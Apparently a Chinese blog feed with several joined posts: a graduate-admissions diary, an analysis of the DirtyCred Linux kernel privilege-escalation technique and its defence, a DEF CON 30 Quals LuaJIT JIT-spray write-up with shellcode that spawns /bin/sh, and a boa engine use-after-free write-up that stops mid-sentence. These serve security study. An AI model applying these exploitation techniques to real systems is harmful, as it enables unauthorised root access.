开放题问的是在课外主要做什么?我:我做了一个项目 balabala… 感觉这个回答的非常差劲,我估计不是他们想要的那种回答。
可以说南大的面试是我所有面试中,表现最差的(比人大面试表现还差)。虽然面试是彻彻底底的寄了,不过按照往年的面经来看,南大貌似会被鸽穿,感觉还是有戏,晚点再看看。
waiting list 80 左右。已经完全不抱希望了,毕竟寄的这么惨…
貌似南大进了夏令营之后就不能再参加预推免了,感觉更没戏了…
虽然听说往年南大被鸽穿到候补 80+ ,不过预推免的 waiting list 和夏令营的一起排,因此估计我的 waiting list 排序会更后面一点。
入营即送大礼包:
面试分为两轮,每轮每个人10分钟,需要做 PPT 展示。两轮中只有一轮会有英语问答环节,ppt展示和专业课抽题做答两轮都有。
优营。感觉中科大优营对于 985 院校学生来说很好拿。我们这第一届网安学院夏令营 136 进 100 个优营。
不过有了优营之后还需要立即联系老师,在推免系统填报前和老师双选,否则优营作废。
我个人的建议是最好在拿到优营之后联系老师,因为老师可能更愿意接触那些有优营资格的学生。
我先前联系了一位偏向密码学应用的老师,老师理解也愿意一直为我保留名额直到我冲完清北,所以其实我后面要鸽掉他还挺难受的,受到了自己道德上的谴责呜呜。
某天中午吃饭的时候突然就接到了中科院计算所老师的电话,邀请我晚上和老师简单聊聊。
其实入营我还挺惊讶的,不过个人对中科院的所不是很感兴趣,因为科研氛围太过浓厚,我还是更想去一个多元化的大学,过个丰富的研究生生活(笑)。
有点尴尬的是当时中科院计算所的意向导师,我在填完之后就已经忘得一干二净,还是后面和导师简短 1 对 1 面试时才从腾讯会议名上想起来…(后来发现不只我一个人把意向老师忘了,笑)
被拉到微信群里后才知道原来面试的不只是我一个,平均每个人的面试时间是 10 分钟。
意向导师会让你先做个自我介绍(毕竟老师啥材料都没有,根本不知道你的优势是什么),因此自我介绍要好好答。
之后老师针对我的实习经历与科研经历进行了一些提问,例如这个工作做的是什么等等,都是一些比较好回答的问题。
最后老师问了我一句“你调试过 Linux 源代码没有”,我说有且调试过今年年初爆发的 Dirty Pipe 漏洞,老师就让我介绍了一下,在介绍过程中频频点头,最后点评了一句回答的挺清晰的。
基本上简短面试问的也不长,比较轻松愉快。不过意向导师说自己只有专硕名额,让我自己做抉择来考虑要不要参加他的面试考核。
在简短面试之后我就跑路了,因为自己还是更偏向于去大学深造,同时专硕也不太满足自己的预期。
在入营的时候,title 和 rank 至关重要,尤其是对于那些筛人时暴力 title & rank 筛的学校,这里点名复旦。之前在绿群里看到一个末流211 rk1 多篇论文 + 多个国奖的佬,没入复旦计算机。当时看到他的消息时感觉这个有点戏剧化…
虽然 title 是由高考成绩决定,已经无法改变,但是 rank 确实可以再挣扎挣扎,rank 会直接影响到你是否能够入营。
ACM 慎重。除非拿 ACM 金,否则最好不要放弃科研和 rank。ACM 确实也是有优势的,有些学校对 ACMer 非常的青睐,但个人认为在上面的投入不如其他方面的性价比高。不过 ACMer 确实会在导师面等获取额外的印象分,这个看个人情况。
rank 和 title 会对入营起到很大的影响,但是在面试和导师面中,rank 和 title 反而是最不重要的,重要的是 科研经历与产出 > 项目经历 >= 竞赛经历 >= 大厂实习经历 >> rank。导师更看重你的科研能力而不是 rank。同时有些学校的院系面试都只是走个过场,真正决定你留不留的下来的还是看材料,因此这些东西还是非常重要的。纯 rank 选手必须在专业课上打下非常扎实的基础,否则科研比不过、项目没有、竞赛没有,那基本上就毫无亮点。如果想着以后保研,公司实习的事情就可以稍微放放,应该把更多的经历花在科研实习上。
如果想冲强组牛导,一定要提前去参与课题组实习,最少实习一学期起步。提前实习可以提早占坑提早内定,同时夏令营时也可以很舒服的通过。不要想着只用嘴皮子就能套几个牛导,人家早就有实习生直接进组实习了。
实习也是双方选择的一个过程,在实习的过程中导师可以确定是否要你,你也可以确定这个组的氛围如何,是不是自己想去的那样,和先前的想象是否存在点出入。
同理,报那种以实验室为单位进行考核的院校,没有提前联系导师会吃大亏,这种实验室会优先收实习生(例如上交 ipads)。收的人越少,在没提前联系导师的情况下就越进不去。
鸽导师慎重,尤其是同领域内的导师。我在整个夏令营阶段套的导师不多,只有五位。但是这五位导师真就相互认识,有些甚至是很好的朋友,我联系的导师几乎每个都问过我一遍你为啥不冲一下清华…因此最好在和导师聊的时候,实诚一点,让导师知道你可能不来的想法,提前打好预防针,同时也让老师知道你的难处。
当然,这点仁者见仁智者见智,有些同学鸽导师真是一个比一个狠…对于自己的发展来说,也不能说是做的不对,只能说还是得根据自身情况和导师角度来考虑。同时也为自己的学弟学妹们考虑,最好别用本校下届学子的福禄来为自己的前途铺路。
总结:套磁进组实习 >> 科研经历与产出 > 项目经历 >= 竞赛经历 >= 大厂实习经历。
事实上面试的时候还挺多导师问我关于腾讯实习的经历。
预推免的处境会比夏令营更难!整体上来看,大部分学校(包括中九那些)预推免的 bar 都会提高,可能之前夏令营是 rank 5% 能进,那预推免就会到 3% 了。预推免招的大部分都是 waiting list,老师收的大部分还是夏令营的营员。不过好在有一门国三水奖在预推免之前出结果了,同时绩点又上去了 0.01,因此我的处境稍微好些。
预推免时目前有了人大信院学硕和中科大学硕(武大被我放掉了,预推免系统没填)。由于人大 seclab 老师做的方向和我也很贴切,同时人大地理位置非常优越(北京四环以内),因此除了清北以外,人大 offer 对我来说应该算是最优解了,所以在预推免时就简单冲击其他华五学校的夏令营。这里稍微点一下华五学校的预推免情况:
人大:信院没有预推免。
南大:参加了夏令营就不准再参加预推免,但是预推免系统还是要填的。
复旦:主要的名额都在预推免,不过那里的导师和我做的方向还是不太搭。
浙大CS网安:21年学硕只有25个,其中13个本校生,个人感觉竞争不是一般的激烈。
上交:预推免基本上是直博生以及面向本校的推免,外校硕士毫无机会。
上交直博只要提前联系导师就好,超级好进。
中科大:网安貌似没有预推免了 本来以为没开,结果还真再开一批。
清深(清华深圳研究院)和北深(北大信工)里面的老师,几乎全都是与大数据和人工智能相关,因此那边的老师对我的履历并不感兴趣(我做的东西和他们看中的完全不沾边),唯二和安全沾边的老师又上了研控网(懂得都懂)。在套不到导师的情况下,清深和北深在预推免基本上是没有机会的,因为大部分机会都在夏令营发放完了(我两个都没入营,笑),就算有鸽子也轮不到我候补。
北大系统一次性可以同时填报多个院系,但是北大每个院的 offer 也几乎完全在夏令营阶段发完了。预推免狂套 pkucs 导师,冲北大计算机主要是看能不能收留心碎被鸽导师(笑),不过看上去貌似是一点效果也没有,想上北大的还是得极度重视夏令营阶段。
那么这样以来,我预推免要冲的院系只剩下几个可选项了:
首先是浙大。浙大今年 bar 巨高,一片拒信。外校生入场的可能只有两位数,网安那边据我所了解只有大概 50 来号人入了(包括本校和外校)。我也被拒掉了,可能是因为背景一般般吧,因为我看到有一个同水平但是 title 比我好很多的同学入了。
其次是复旦。复旦今年开的比较晚,大体上感觉预推免入的和夏令营入的还是同一批人,夏令营能进的预推免就能进,夏令营进不了的预推免还是进不了。我拿到了梦校的 offer 就把它鸽了,没再参与后面的面试流程。
之后是北大。北大虽然软微和 CS 都开了预推免,但是实际上并不收人,老师们已经在夏令营中被瓜分的差不多了,预推免基本上就相当于在招 waiting list,没有导师接收的话等于没戏。
最后是,清华网研院。
清华网研院,是我花了最多心思的目标院校,同时那里也有着我最想跟着一起搞研究的牛导,这里是我的最终目标,前面的一切夏令营+预推免活动都是在找保底院校。我在去年12月份便联系了导师,之后从寒假开始下半个学期一直在远程实习,实习了有大半年之久。在实习期间,我写过代码、辅助撰写过论文、逆向驱动等等,做研究的生活还挺充实的;而且在实习的过程中也确实感觉到组内氛围相当不错,这也加大了我想进组研究的意愿。
这里不得不提一句夏令营,夏令营招收 50 位学生,可能是材料和背景上的不足,竟然没有入营。后来了解到这个夏令营主要招直博生,直硕生招的少,这让我的心稍微宽慰了一点。
预推免进复试的共 75 个学生,只比夏令营多了25个,其中一半本校一半外校。本校和本校竞争,外校和外校竞争,学院招生名额对半分。这次外校直博有12人,直硕生有25人。外校生硕士名额是10个,25 进 10 稍微还是有点压力。
网研院的机考和计算机系、深研院是同一套的,这三个院系同一时间考同一套题,因此机考题不会太简单。这次预推免的题目不怎么偏向算法,以至于我苦练洛谷三个月最后愣是一点没用…不过自己还是考的比较差劲,只拿到了送的几个得分点。机考完后一直觉得自己考的巨差无比,尤其是今年机考成绩从 10% 变成了 20%,占比增大,机考的重要性翻倍。但是后来了解到机考成绩比我想象的要好,感觉又充满了希望。
面试细节就不过多描述了,学院官网上公示了考核方式,分为综合面试 8 分钟和专业面试 12 分钟,感兴趣的可以去看看。需要注意的是,在投递 top2 时,各类文书(例如个人陈述、PPT 等)一定要精雕细磨,因为老师真的会翻来覆去的看你的文书材料…我在面试时看到底下一群老师在翻来翻去的看个人陈述,感到有一丝丝的害怕,深怕哪里翻车了…
最后感谢各位一直在支持着我的老师同学以及学长学姐们:
这里提几句鸽子情况。
Linux Dirty Cred 是一种基于 Dirty Pipe 漏洞所创新出来的新型漏洞利用方式。通过 Dirty Cred 的这种利用流程,其他位于 Linux 内核中的一些内存漏洞,在对其进行漏洞利用的过程里,可以转换为逻辑漏洞,来绕过当前所有的内核缓解机制(包括 CFI 控制流完整性保护)。
Dirty Cred 的核心利用思路是使用高权限 credential 对象来交换低权限 credential 对象,从而达到提权的目的。该论文目前已中 CCS 2022 & Black Hat USA 2022,属实是一个比较有趣的思路。
在讲述 Dirty Cred 前,需要做一些背景介绍来帮助理解。
Linux Dirty Pipe CVE-2022-0847 是今年早些时候爆发出来的一个 Linux 内核提权漏洞。我曾在上半年写过一篇分析它的文章 - Linux Dirty Pipe CVE-2022-0847 漏洞分析 - Kipre’s Blog,因此就不在这里赘述了。
简单概括一下成因:
Pipe 结构是由一个环形队列组成,其中队列元素分别为实际存放数据的物理页的引用。对于某次 pipe 的写入操作,如果 pipe 队列头所在元素上的标志位为 PIPE_BUF_FLAG_CAN_MERGE,那就说明这次写入的数据可以直接合并至队列头的物理页里,无需重新创建新队列元素,减少内存占用。
Linux 中存在一个称为 splice 的系统调用,它可以直接将文件中的数据追加进某个 pipe 中。其本质原理是将该文件的页面缓存引用直接添加进 pipe 的队列头部。由于文件页面缓存可能用在多个地方,因此这些页面缓存在 pipe 队列中元素上的标志位就不能标注 PIPE_BUF_FLAG_CAN_MERGE,以便于防止在向 pipe 写入新数据时,错误地把新数据与页面缓存上的数据合并,对页面缓存进行误修改。
由于 Dirty Pipe 漏洞的根源是 pipe 队列元素上标志位的未初始化漏洞,恶意黑客可以先往 pipe 内使用 write 函数灌注大量数据,使得 pipe 队列上的每个元素标志位都标有 PIPE_BUF_FLAG_CAN_MERGE,再紧接着 read 出这些数据,将 pipe 清空,并之后使用 splice 系统调用将任意可读文件(例如 /etc/passwd
)的页面缓存加载进 pipe 中。但 pipe 队列元素上的标志位并没有被重置,因此对于加载进 pipe 中的页面缓存元素,每个队列元素上的标志位都将残留先前所设置的 PIPE_BUF_FLAG_CAN_MERGE,这样一来后续的 write 便可直接污染本不该被修改的文件页面缓存,使得特权文件(例如 /etc/passwd
)在内存中的数据被篡改,造成提权。
有意思的是,整个漏洞利用流程完全不涉及各类缓解机制。Dirty Pipe 是一个彻头彻尾的逻辑漏洞,这类逻辑漏洞可以完全绕过缓解机制,从而进行提权等操作。但 Dirty Pipe 又高度依赖 pipe 本身的能力(那种可以通过 pipe 将数据注入进任意文件的能力),换句话说即逻辑漏洞因为是逻辑错乱导致的问题,自然漏洞利用就必须与这个功能部件相关的逻辑高度关联。由于逻辑漏洞在相关逻辑的关联性较强,因此漏洞可以被非常容易地防护,影响范围并不会特别广。
Linux 的 Credentials,通常将其认为是内核中用于存放特权信息的内核属性。我们所熟知的 Credentials 有两种(总数不止两种):
struct cred
:其中存放了一个 task 的权限信息,例如 GID、UID 等等。如果能任意修改一个低权限进程的 cred 结构体,那么我们就可以将该进程提权至高权限(例如 root)。
1 | // include\linux\cred.h |
struct file
: 存放一个文件的部分权限信息,例如 read & write 权限等。如果一个低权限用户可以任意修改高权限文件(例如 /etc/passwd),那么同样也能造成提权的目的。
1 | // include\linux\fs.h |
需要注意的是,struct file 只保存已被打开文件的信息。如果某个文件连打开的权限都没有,那自然就不可能会有对应的 struct file 结构体。
至于文件的属主等其他特权信息,则存放在 struct inode
中,这里不再赘述。
众所周知,Linux 内核主要使用 slab 分配器来进行内存分配。slab 分配器中主要维护了两种内存缓存(即可以理解成两套作用不同的内存分配方式):
这类 cred 和 file 结构体等 credential 对象都是在 dedicated cache 中分配,而大多数内存漏洞发生的地方都是在 generic cache 中。
可以在终端中键入 sudo cat /proc/slabinfo
来查看 slab 分配器的具体信息。其中这些名字互不相同的内存块即 dedicated cache:
后面那些名称中带有 kmalloc 的即 generic cache:
攻击者层面
不考虑硬件对漏洞利用所带来的帮助。
被攻击平台层面
先简单介绍一下 CVE-2021-4154, 来说明 Dirty Cred 是如何利用的,先上一张图:
其实看图也能大致看出来是什么样的过程。太长不看版本就是,写入一个文件需要顺序执行:
如果在这两个步骤之中进行竞争,在成功检查文件权限后(/tmp/x 可写),触发漏洞恶意将原先的 credential 结构体(这里是 file 结构体)释放,并创建 高权限的 credential 结构体(例如/etc/passwd
的 file 结构体)来占据这个内存空洞,那么待写入的数据就会被写入进 /etc/passwd 中,造成本地提权。
那么 Dirty Cred 所面对的挑战其实也可以看得出来:
内存破坏漏洞常见的种类有:
接下来将分别说明如何利用这几种内存漏洞,来达到使用 privileged credential 置换 unprivileged credential 的目的。
太长不看,直接看图:
还是常规的 OOB write 的利用操作:尝试越界写入下一个结构体的字段,将该结构体原先指向低权限 credential 结构体指针被修改为指向高权限 credential 结构体指针。这种修改指向的方法是通过往指针低两个字节写入0(即 0x0000)来进行的,之所以是写两个字节的 0 而不是其他的,是因为攻击者希望把原指针修改为当前页所在首部的 privileged credentials。攻击者可以通过频繁创建 privileged credentials 对象来占据新页面的首部位置,为后续修改指针做准备。
由于页面以 0x1000 字节对齐,而写入两个字节的 0 要求 privilege credential 所在的地址以 0x10000 字节对齐,因此可能需要以 1/16 的概率进行爆破才能利用成功。
UAF 和先前介绍的 CVE-2021-4154 漏洞利用流程差不多。
Double Free 的利用略显复杂,先上图:
利用流程大致是:
在 vulnerable object 所在的 cache 中,大量分配对象,使得
这么做的目的只有一个:使某个内存页面的被回收时机可控。因为如果这个页面上的所有对象全部释放,那么该空闲页面自然就会被回收。
尝试触发两次 double free 漏洞,使得最终某个被释放内存块上有两个悬垂指针。
释放该 vulnerable object 所在页面上的所有对象,使得该页面被回收进分配器中,并被用于 credential 的内存分配(即成为 dedicated cache)
在这块已经成为 credential dedicate cache 的内存页面上大量分配 credential 结构体,占据该页面的内存空间(即 Figure 3(f))。
注意到两个悬垂指针可能不会与 credential object 对齐,因此需要用掉一个悬垂指针来释放出一块 credential object 的内存空洞出来。
分配新 credential object,占据这个内存空洞。这样就可以达到两个指针共同指向一个 credential object 的效果,后续的利用就可参照 UAF 的方式来进行,这里就不再赘述了。
这里有个有趣的问题:一个原先指向 generic cache 的指针,如果这个指针所指向内存变更为 dedicated cache,那么后续对这个以为是 generic pointer 实则是 dedicated pointer 进行 free 操作时,这个 free 的大小是如何界定的?为什么 free 的大小是 credential object 的大小呢?
通过查阅 slab 分配器的 kfree 逻辑,发现它的释放逻辑与被释放地址高度相关。首先会尝试根据被释放地址获取其对应的 slab_cache 结构,然后再根据结构中所存放的信息来释放对应的 object size。换句话说,如果 kfree 释放的地址在 generic cache中,那就会走 generic cache 的释放逻辑;如果是在 dedicated cache 中,那就会走 dedicated cache 的释放逻辑。这么做或许是为了提高可用性,使得释放两个不同 cache 的内存块可以使用同一个 kfree 接口。
Dirty Cred 需要在检查文件写权限 - 实际写入数据 这两步之中,成功将低权限 credential 替换为高权限 credential。由于 credential 的替换需要一些时间,因此如果能延长这个竞争窗口,那就能非常成功的进行漏洞利用。
这里需要先介绍两个有趣的机制,分别是 Userfaultfd 和 FUSE,这两种机制都允许用户无限延长竞争窗口。
在多线程程序中,userfaultfd 允许一个线程管理其他线程所产生的 Page Fault 事件。当某个线程触发了 Page Fault,该线程将立即陷入 sleep,而其他线程则可以通过 userfaultfd 来读取出这个 Page Fault 事件,并进行处理。
Userfaultfd 常用于条件竞争漏洞利用中。但悲伤的是,为了防止 userfaultfd 在内核漏洞利用中的滥用,在内核 5.11 版本开始,非特权的 userfaultfd 默认是禁用的(LWN: Blocking userfaultfd() kernel-fault handling)。
参考:Linux Manual Page(
man userfaultfd
)。
FUSE 是一个用户层文件系统框架,允许用户实现自己的文件系统。用户可以在该框架中注册 handler,来指定应对文件操作请求。这样一来便可以在实际操作文件之前,执行 handler 暂停内核执行,尽可能地延长窗口。
在 Linux 4.13 之前,系统调用 writev 的实现大致如下:
攻击者可以在权限检查执行完成后,在调用 import_iovec
时触发缺页错误,从而利用 userfaultfd 机制来暂停内核的执行。
但在 linux 4.13 版本之后,该函数的实现变成了如下,即将 import_iovec 函数的调用提前了:
这就使得刚刚所说的利用方法不再有效,需要换一种方式。
由于 Linux 中文件系统是以多层形式实现,即高层接口调用底层函数来实现操作,因此在写入文件数据时,最终都会调用到一个称为 generic_perform_write
的函数,该函数中会主动触发一次 Page Fault,同样可以利用 userfaultfd 来实现利用:
以 ext4 文件系统的数据写入为例,可以看到在执行 generic_perform_write
函数进行实际的数据写入之前,都需要对 inode 进行一次上锁(即 inode_lock(inode)
调用):
如果有一个进程率先对某个文件进行超大量数据写入,那么另一个进程在对相同文件执行写入操作时,将会一直等待 inode 锁的释放。通过测试可知,4GB 数据的写入可以使得后一个进程等待数十秒(取决于硬盘性能),因此这个 inode 锁同样可以延长竞争窗口。
由于 Dirty Cred 十分需要控制 privilege credential 对象的分配时机,控制该对象的分配成为了一个关键点。
在用户层中,有两种方法可以分配 privilege credential:
/etc/passwd
等特权文件。在内核层中,当内核创建新的 kernel thread 时,当前 kernel thread 将会被复制,于此同时其 privileged cred 结构体也会被拷贝一份。因此只要能找到稳定创建 kernel thread 的方式,Dirty Cred 就能稳定地创建 privileged cred 结构体。有两种方法可以做到这点:
往 kernel workqueue 中填充大量任务,动态创建新的 kernel thread 来执行任务。
调用 usermode helper (一种允许内核创建用户模式进程的机制),一种最常见的应用场所是加载内核模块至内核空间中。
1 | // kernel\kmod.c |
内核在加载内核模块时,需要在内核层执行 modprobe 程序,来在标准安装驱动路径下搜索目标驱动。
Linux 5.16.15
对象中包含 credential 对象且可控制该对象在内核堆上的分配时机。
从上图中可以看到,
几乎每个 generic cache 都至少有两个可利用对象
credential 在可利用对象中的偏移量有较大差别,而这可以提高 Dirty Cred 的利用成功率
尤其是 OOB 漏洞可覆写的偏移量可能偏差较大。
有五个可利用对象所包含的 credential 的相对偏移量为 0,提高了 Dirty Cred 在内存破坏范围较小情况下的利用成功率。
要求:
从上图中可得知,在所有缓解机制全部启动的情况下,Dirty Cred 的利用成功率为:16/24。其中:
Dirty Cred 之所以能成功,最核心的是:内核的内存隔离是基于类型而不是基于权限来做的。
防护方法其实很简单:将 privileged credentials 与其他 unprivileged credentials 隔离开。
如何做:使用 vzalloc/kvfree
函数来在 virtual memory 中创建与释放 privileged credentials 内存。这样就能使得 privileged 和 unprivileged 对象所在的 memory cache 是隔离开的。
之所以使用 virtual memory 来存放 privileged credentials,是因为
这里顺带提一句 kmalloc 和 vmalloc 所分配内存的性质:
- 都是分配的内核内存
- kmalloc 保证分配的内存在物理地址空间上连续;vmalloc 保证虚拟地址空间上连续(需要配置页表)
- kmalloc 能分配的大小有限,vmalloc 能分配的大小相对较大
- vmalloc 因为要设置页表,自然会慢一点
要被隔离的 credential 结构体为:
之所以要把这两个隔离,个人猜测是这两种类型的结构(GLOBAL_ROOT_UID or writable file)创建的次数相对其他结构(非特权级 UID 或者 只读文件结构)较少。
由于这种隔离是在 credential 创建时所确定的,那如果某个非特权 cred 结构体被原地提权(例如通过 setuid/cap_setuid
),那就会造成这种内存隔离形同虚设。鉴于此,可以尝试在 alter_cred_subscribers
函数被执行时,在虚拟内存区域新创建一个特权 cred, 而非在原先 cred 上进行修改。但这种防护方法很依赖 Linux 未来的开发发展,倘若以后 Linux 新开发了一种原地修改 cred 的方式,那么这种防护就无效了,因此这个防护被留待 Future work。
Dirty Cred 防护的性能评估:
从中可得知绝大部分的性能开销都非常的小(< 3%),不会影响系统的正常使用。但其中 10k File Create 的性能开销达到了 7%,这是因为 vmalloc 的执行速度会比 kmalloc 低很多,因为需要重新进行内存映射等等;而 10k File Delete 的性能开销相对较小一点, 因为 Linux 内核使用 RCU 机制来异步进行文件删除,以提高内核执行速度。
RCU (Read-copy update) 是 Linux内核中的一种数据同步机制。
上图评估结果中还出现了“轻微的性能改善”,这个纯粹是实验所产生的噪声,不是真的改善(虽然这个实验重复了多次基准测试)。
这里将记录着本人复盘 Defcon 30 Quals 中 smuggler's cove
的复盘笔记。
本题是一道 luaJIT 的 pwn 题。
首先,从提供的 libluajit 文件中获取其版本号:
之后下载源码切换版本开始编译:
1 | # 下载源码 |
题目主要给出了两个源码文件。一个是 dig_up_the_loot.c
,该源码所编译出来的可执行文件是用来提供 flag 的,只有当使用特定参数执行该二进制文件时 flag 才会输出:
再一个源码文件就是调用 LuaJIT 库的主源码文件 cove.c
。该源码中的内容大致如下几点:
读入 lua 文件,其中该 lua 文件大小最大不可超过 433 字节。
设置 luaJIT 配置,并禁用 JIT 全局变量的暴露,防止用户直接设置或修改 JIT 属性:
1 | void set_jit_settings(lua_State* L) { |
注册 print 函数,用于输出信息:
1 | int print(lua_State* L) { |
最重要的一个操作。注册 lua 函数 cargo
,该函数实际调用 C 函数 debug_jit
。
1 | GCtrace* getTrace(lua_State* L, uint8_t index) { |
注册的 lua 函数 cargo
要求传入参数必须分别为函数类型和整型类型。从代码中可以得知,当 lua 调用 cargo
函数后,lua 解释器会先寻找所传入 lua 函数的 JIT 相关结构体,并修改该 JIT 后所执行机器码的起始偏移量。被修改的属性 GCtrace::mcode
和 GCtrace::szmcode
分别是编译后机器码的起始位置和偏移量:
1 | /* Trace object. */ |
因此,如果可以用立即数精心构造一段 JIT 后的机器码,再修改 JIT 代码起始位置,那么控制流就会将精心准备的立即数识别为指令执行,这样一来就可以成功执行 shellcode。
这种做法也被称之为 JIT Spray。
注意到 LuaJIT 设置了一段 jit 的配置:
1 | void set_jit_settings(lua_State* L) { |
其中两行 lua 代码都调用了 lua 中的jit.opt.start()
函数,该函数的实现位于 LuaJIT/src/lib_jit.c:512
处:
1 | /* jit.opt.start(flags...) */ |
lua 两次调用 jit.opt.start
函数,分别设置了:
jit.opt.start('3')
:进入 jitopt_level
,设置优化等级为 3(最高)
1 | /* Optimization levels set a fixed combination of flags. */ |
jit.opt.start('hotloop=1')
:初始化 hotcount table。
1 | /* Parse optimization parameter. */ |
这里需要参考以下两个链接来理解 hotcount:
简单来说,hotcount 就是 luajit 追踪特定控制流转移指令(例如调用、跳转等)的一个哈希表,其中存放着所最终指令的热度。luajit 是 tracing jit,而非 method jit,这意味着 luajit 在优化时会以路径为单位,而不是以函数或方法为单位。既然是追踪路径,那么自然就会对控制流转移指令更加的关注,也就会有 hotcount table 这样的设计。
不过 cove 对 JIT 的配置不会对我们的漏洞利用产生太大影响,这里只是简单的扩展了一下。
前置调试知识:
若需执行程序,则直接执行
LD_LIBRARY_PATH=. ./cove exp.lua
即可。若需调试程序,则先
gdb --args ./cove exp.lua
启动 gdb 会话,之后在 gdb 中执行set env LD_LIBRARY_PATH .
即可。
先写个函数随便试试这个 LuaJIT:
1 | function func() |
结果触发 SIGSEGV 了,调试发现是 cove 中实现的 print 函数触发空指针。修改代码如下:
1 | int print(lua_State* L) { |
重新编译后执行就不再触发 SIGSEGV 了。
再增加两个调用点,func
函数就会被 JIT 技术进行优化:
1 | function func() |
从 GDB 中的信息可以得知,该位置确实存放着所生成的机器指令,而这个位置位于一个 rx 段上:
在这个JIT生成的机器指令下断,下次执行 func
函数时就会触发这个断点(注意下图与上图不对应);而修改调用 cargo
函数的第二个参数 offset,下次执行 JIT 函数时控制流也就会真的偏离 offset 个字节。:
现在我们已经了解如何触发函数的 JIT 优化,并且大致了解了其 JIT 所生成的机器码的情况,接下来要尝试在 JIT Machine Code 中布上我们特定的立即数。有一点需要注意,在 lua 中数字只有 Number
这么一个类型,不区分整型和浮点数型,不过 LuaJIT 内部是使用浮点数来表示 lua 的 Number 类型。这个可以用以下 lua 代码验证:
1 | -- 一个大数 |
现在尝试在 JIT Code 中部署特定值。由于 LuaJIT 启用了许多编译优化,例如 dead code elimination,因此在函数中创建数组对象后需要至少使用该对象一次,否则该对象将直接被删除。由于 print 函数实在是太难用了,因此换了种方法防止被优化。
编写的测试 lua 代码如下:
1 | function func(arr) |
查看编译后的代码,发现生成的 JIT 代码无法满足要求,LuaJIT 会把等号后的数单独保存至其他内存位置,需要使用时再去加载:
由于等号后边的内容再怎么便都无法改变被加载至其他内存的事实,因此我们可以尝试修改等号前面的属性内容,即 arr[xxx] = _
中的 xxx。
在经过一番尝试后,发现属性如果是:
字符或字符串,则 JIT code 中会存在大量立即数,但是不可控。
诸如 1.0、2.0、3.0 等整型且连续的浮点数,则所生成的 JIT Code 还是会和先前的 JIT code 一致。
不连续的浮点数,则所生成的代码将正是我们所需要的那种。例如以下 lua 代码:
1 | function func(arr) |
所生成的 JIT Code:
这样一来,我们便可以达到在 JIT Code 上部署特定数据的目的,接下来便是编写 shellcode 并将其部署在 JIT Code 上,这个就是体力活了。
这里需要推荐一个网站 在线浮点数转二进制,这个网站可以非常方便的转换浮点数与二进制。
我编写的 exploit 如下所示(注意,这个 exp 存在亿点点问题):
1 | function f(a) |
其实际执行的 shellcode 为:
1 | 4831f6 xor %rsi, %rsi |
注:
jmp rel8
的机器码为eb
。
这里就快执行 SYS_execve("/bin//sh", ["/bin//sh", NULL], NULL)
了(mcode + 0x181):
但比较奇怪的是,sh 直接退出了:
但我手动写了个代码尝试复现:
1 |
|
但是复现失败了:
即便是直接执行 shellcode:
1 |
|
也无法复现这种 /bin/sh
直接退出的情况:
百思不得其解。于是用 gdb 的 catch exec
指令,进入被调用的 dash 子进程开始调试,最后才发现原来是因为 stdin 被关闭了(捂脸):
反过来才发现,cove 代码中其实早有说明,但是当时就是给漏看了:
1 | void run_code(lua_State* L, char* path) { |
麻了,只能说还是自己观察的不够细致,踩了个坑。
本题复盘结束,完结撒花!
]]>这里将记录着本人复盘 Defcon 30 Quals 中 constricted
的复盘笔记。
这道题为 boa
项目提供了一个 git diff,要求在应用这个 diff 后对 boa 进行漏洞利用。boa 是一个使用 rust 编写的 javascript 引擎,要想 pwn 掉它就得编写 JS 的漏洞利用脚本。
当初做这题时自己还没接触过 rust,这次 学成归来后 可以好好看看这题。
这题的意图是想说明,即便是用 rust 编写的程序也仍然会存在漏洞。
注意,本题的调试是在实机中进行,非 docker 环境,因此 exp 可能不通用。
这里的 diff 总结起来大致如下:
在程序启动时随机 mmap 了一块内存。这里的 ctor 说明这个 init 函数需要在执行 main 函数前被执行:
1 | use libc::{getrandom, mmap, MAP_PRIVATE, MAP_ANON}; |
引入一个新的 JSObject 对象 TimedCache
:
1 | >> let v = new TimedCache() |
TimedCache 类代码在 boa_engine/src/builtins/timed_cache/mod.rs
中,这个类中有三个函数,分别是 get
、set
和 has
。这三个方法都和时间有关,功能类似一个定时器,可以用 set 函数安装定时器、get 函数获取目标定时器剩余时间,以及用 has 函数查看定时器是否超时。
在 console 类上额外实现了几个方法,分别是:
console.sysbreak()
:调用该函数会触发一个 int3 中断。
1 | >> console.sysbreak() |
console.sleep(ms)
:线程暂停一段时间,单位毫秒。
1 | >> console.sleep(1000) // sleep 1s |
console.collectGarbage()
:强制触发垃圾回收。这里触发的垃圾回收机制是 gc = "0.4.1"
crate 内的,即 rust-gc。
增强了 console.debug
方法,以更好的输出信息。
在 boa_engine/src/object/internal_methods/
文件夹中,为半数以上的类做了个修改,让被修改类的每个静态 internal method 对象都分配在堆上,而不是在 data 段上。
从上面总结的 diff 可以看出,diff 中:
提供了console.sleep
、TimedCache
这种与时间处理有关的方法和类。
大肆修改静态对象的分配位置至堆上(原本在 data 段上好好的偏偏就要改到堆上)。
主动暴露出 rust-gc 强制触发垃圾回收的接口 console.collectGarbage
。
那么这题无疑就是和 rust-gc 做斗争。可能有人会问,rust 不是不需要 gc 么?的确如此,但是只通过 Arc 和 Rc 来管理内存可能会造成循环引用等非常难顶的情况, 同时也加大了开发难度。为了平衡内存管理的安全性与开发效率,rust-gc crate 便发挥出了它的作用。
rust-gc 是一个 mark-sweep
类型的 GC,只有被 mark 的对象才会保留,没有 mark 的对象会在垃圾回收时被销毁。相关信息在 rust-gc - github 上,一定要先看完里面的内容,了解 rust-gc 大致的用法。
在之前总结 diff 内容时我省略掉了关于 TimedCache 类的实现细节,而这里就是关键。在 boa_engine/src/builtins/timed_cache/mod.rs
中, TimedCacheValue
类使用 boa_gc
(即 rust-gc 的 wrapper)来管理类实例:
1 |
|
若 TimeCachedValue
中所保存的计时器超时,那么 TimeCachedValue 实例中的 data 将不再被标记,这意味着在超时后的某个时间点,这个 data 所占用的内存将会被释放。注意 data 字段的类型 JsObject
也是一个 GC
类型:
1 | pub struct JsObject { |
但要注意的是,Gc<_>
只是一个 Gc::Cell
的指针类型。换句话说虽然 Gc<_>
指向的 Cell 被释放了,但 Gc<_>
本身还在 TimeCachedValue
中,如果能在释放 Gc::Cell
后把 Gc<_>
指针偷出来,那就可以造成 UAF。
在整个 TimedCache 类的实现中,只有一处地方比较可疑,那就是 get 函数:
1 | if let JsValue::Object(ref object) = this { |
在 calculate_expire
函数中,会对传入的 lifetime 参数调用 to_integer_or_infinity
方法:
1 | fn calculate_expire(lifetime: &JsValue, context: &mut Context) -> JsResult<i128> { |
如果传入的 lifetime 是一个精心构建的 object,那么我们便可以在 boa 调用 calculate_expire
